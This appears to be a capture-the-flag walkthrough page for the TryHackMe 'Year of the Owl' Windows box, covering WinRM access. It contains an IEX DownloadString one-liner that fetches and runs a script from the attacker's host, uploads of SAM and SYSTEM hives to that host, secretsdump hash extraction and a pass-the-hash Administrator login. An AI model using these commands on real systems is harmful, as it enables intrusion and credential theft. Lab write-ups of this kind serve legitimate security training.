> For the complete documentation index, see [llms.txt](https://aditya-3.gitbook.io/oscp/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://aditya-3.gitbook.io/oscp/readme/walkthroughs/try-hack-me/year-of-the-owl/5985.md).

# 5985

Using the creds for Jareth: ![](https://2519178678-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuE2sPgM0QY6KfiTIG8Vs%2Fuploads%2Fgit-blob-3dfb69d1ba5874518deec4530f68728556ac440a%2Fe82a5c270714133d0d1c6e90b60d601b.png?alt=media) We can login through winrm:

```
evil-winrm -i 10.10.144.13 -u Jareth -p sarah
```

![](https://2519178678-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuE2sPgM0QY6KfiTIG8Vs%2Fuploads%2Fgit-blob-c42cf5df3f358144b699ac49adb6974d0b89b73a%2Fa4f7feb9d235bd1e0dd73f6d1871dab6.png?alt=media) We have a flag in Desktop.

We find a recycle bin with `ls -fo`: ![](https://2519178678-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuE2sPgM0QY6KfiTIG8Vs%2Fuploads%2Fgit-blob-efb68e0a9a3b62c2c28a1926a83105c76c11bc88%2F2b2a23e5b135ae26fa735dc2ed3d81be.png?alt=media)

Now we can check files here: ![](https://2519178678-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuE2sPgM0QY6KfiTIG8Vs%2Fuploads%2Fgit-blob-ae15b092f1d2908792213b64559b24b4b0358079%2Ff65498b3e8bcff21dfd73d95e0bff966.png?alt=media)

We have system and sam in one of those directories: ![](https://2519178678-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuE2sPgM0QY6KfiTIG8Vs%2Fuploads%2Fgit-blob-8f8e46a4157e6700d56680e0a4534ce2d6bab5a2%2F8b97a93f6f800af1784e0c44b6f7fc7e.png?alt=media)

Now starting a python server on kali:

```
python3 -m uploadserver 80
```

```
IEX(New-Object Net.WebClient).DownloadString('http://10.23.10.19/PSUpload.ps1')
```

```
Invoke-FileUpload -Uri http://10.23.10.19/upload -File sam.bak
Invoke-FileUpload -Uri http://10.23.10.19/upload -File system.bak
```

Now we have the files on our machine.

We can use secretsdump.py:

```
secretsdump.py LOCAL -sam sam.bak -system system.bak
```

![](https://2519178678-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuE2sPgM0QY6KfiTIG8Vs%2Fuploads%2Fgit-blob-8564b56510031fbbfe1bcde04afd0dd1dcd8b174%2F61e2bc91056bcd1ddc2ddb54110bfdc7.png?alt=media)

Now getting an nt authority shell with evil-winrm:

```
evil-winrm -i 10.10.144.13 -u Administrator -H 6bc99ede9edcfecf9662fb0c0ddcfa7a
```